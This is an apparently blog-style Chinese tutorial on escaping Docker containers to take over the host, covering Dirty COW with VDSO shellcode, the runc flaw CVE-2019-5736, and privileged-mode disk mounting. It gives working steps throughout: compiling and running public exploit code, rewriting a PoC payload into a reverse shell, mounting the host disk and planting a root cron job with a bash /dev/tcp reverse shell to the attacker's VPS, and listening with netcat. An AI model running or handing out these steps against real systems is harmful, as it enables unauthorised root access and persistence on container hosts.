docker逃逸的几种方法

前言

获取某个系统 shell 后发现其是 docker,这时候我们就需要进行 docker 逃逸来拿到其真正宿主的权限。这里提供几种思路。

  • 利用 dirty cow 来进行 docker 逃逸
  • cve-2019-5736
  • 利用特权模式逃逸

利用 dirty cow 来进行 docker 逃逸

前置知识

docker与宿主机共享内核,如果要触发这个漏洞,需要宿主机存在dirtyCow漏洞的宿主机。

VDSO 其实就是将内核中的.so 文件映射到内存,.so 是基于 Linux 下的动态链接,其功能和作用类似与 windows 下.dll 文件。

在 Linux 中,有一个功能:VDSO (virtual dvnamic shared object), 这是一个小型共享库,能将内核自动映射到所有用户程序的地址空间,可以理解成将内核中的函数映射到内存中,方便大家访问。

利用 dirty cow 与 VDSO 来实现 docker 逃逸的过程

dirty cow 漏洞可以让我们获取只读内存的写的权限,我们首先利用 dirty cow 漏洞写入一段 shellcode 到 VDSO 映射的一段闲置内存中,然后改变函数的执行顺序,使得调用正常的任意函数之前都要执行这段 shellcode。这段 shellcode 初始化的时候会检查是否是被 root 调用,如果是则继续执行,如果不是,则接着执行 clock_gettime 函数,接下来它会检测 /tmp/.X 文件的存在,如果存在,则这时已经是 root 权限了,然后它会打开一个反向的 TCP 链接,为 Shellcode 中填写的 ip 返回一个 Shell。

这种利用方法利用成功的前提是,宿主机的内核有 dirty cow 漏洞。

漏洞环境搭建

0x01 测试环境下载

1
git clone https://github.com/gebl/dirtycow-docker-vdso.git

0x02运行测试容器

1
2
cd dirtycow-docker-vdso/
sudo docker-compose run dirtycow /bin/bash

0x03进入容器,编译POC并执行

1
2
3
cd /dirtycow-vdso/
make
./0xdeadbeef xxx.xxx.xxx.xxx:1234

利用过程

0x01判断是否是docker环境

1
ls -alh /.dockerenv

docker环境的根目录下存在该文件.dockerenv

image-20231222114432355

查看系统进程的cgroup 信息

1
cat /proc/1/cgroup

image-20231222114602585

0x02判断是否存在脏牛漏洞

image-20231222114725121

发现内核版本较低,存在脏牛漏洞

0x03利用脚本

先下载脚本

1
2
3
git clone https://github.com/scumjr/dirtycow-vdso.git
cd /dirtycow-vdso/
make

运行利用

1
2
./0xdeadbeef #反弹shell到本地主机
./0xdeadbeef ip:port #反弹shell到指定主机的指定端口

利用结果,我们直接反弹宿主机的 shell 到 我的VPS上 如图所示

image-20231222115031654

image-20231222115101287

再判断一下是不是宿主机

image-20231222115146179

发现是宿主机账户,成功getshell

通过 cve-2019-5736 来达到 docker 逃逸

利用原理与条件

通过在 docker 容器内重写和运行主机系统的 runc 二进制文件达到逃逸的目的。

利用条件为:

runc 版本 <=1.0-rc6
Docker Version < 18.09.2

漏洞触发过程

首先我们得有一个 docker 下的 shell,第二步修改利用脚本中的反弹 shell 命令,第三步使用 go build 来编译脚本,第四步将脚本上传到 docker 中,第五步等待宿主机执行 exec 进入当前 docker 容器等时候,宿主机就会向我们的 vps 反弹 root 权限的 shell。

具体操作

第一步:确定 docker 环境

1
ls -alh /.dockerenv

docker 环境中根目录下存在此文件

查看系统进程的 cgroup 信息

1
cat /proc/1/cgroup
第二步:下载利用脚本并修改
1
git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git

将下图上的payload部分改写为反弹 shell 命令即可

image-20231222123635603

第三步:编译脚本

1
go build main.go

第四步:将编译好的 main 文件上传到 docker 中

可以先上传到 github 然后在 docker 到 shell 中使用 git clone 命令即可,这里不做演示。

第五步:执行脚本并等待此 docker 再次被 exec

1
docker exec -it test /bin/bash

如上命令的含义是进入 test 这个容器,当宿主机上执行 exec 命令来进入我们运行了脚本的容器的时候,宿主机就会反弹 root 权限的 shell 给我们的 vps 的监听端口,至此利用结束。

对此种方式利用的理解

这种方式利用的条件其实比较苛刻,主要苛刻在宿主机必须有人执行 exec 命令进入当前 docker 环境,如果没有人在宿主机执行的话,是无法进行 docker 逃逸的。

利用特权模式逃逸

漏洞原理

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行 docker run —privileged 时,Docker 容器将被允许访问主机上的所有设备,并可以执行 mount 命令进行挂载。

漏洞利用

  1. 查看磁盘文件fdisk -l

img

  1. 将 /dev/vda1 也就是磁盘挂在到本地的任意文件下
1
2
3
mkdir /nuoyan
mount /dev/vda1 /nuoyan
此时这个nuoyan文件夹就相当于对方主机的根目录,可以进行写文件操作。
  1. 写入计划任务
1
echo '* * * * * bash -i >& /dev/tcp/vps的ip/8888 0>&1' >> /nuoyan/var/spool/cron/root
  1. 在vps上等待shell反连接
1
nc -lvp 8888

参考链接

https://www.wangan.com/p/7fygfg3c7ccc1785#%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4docker%E9%80%83%E9%80%B8

https://juejin.cn/post/6950955315751813134

https://www.cnblogs.com/mrliu0327/p/13456502.html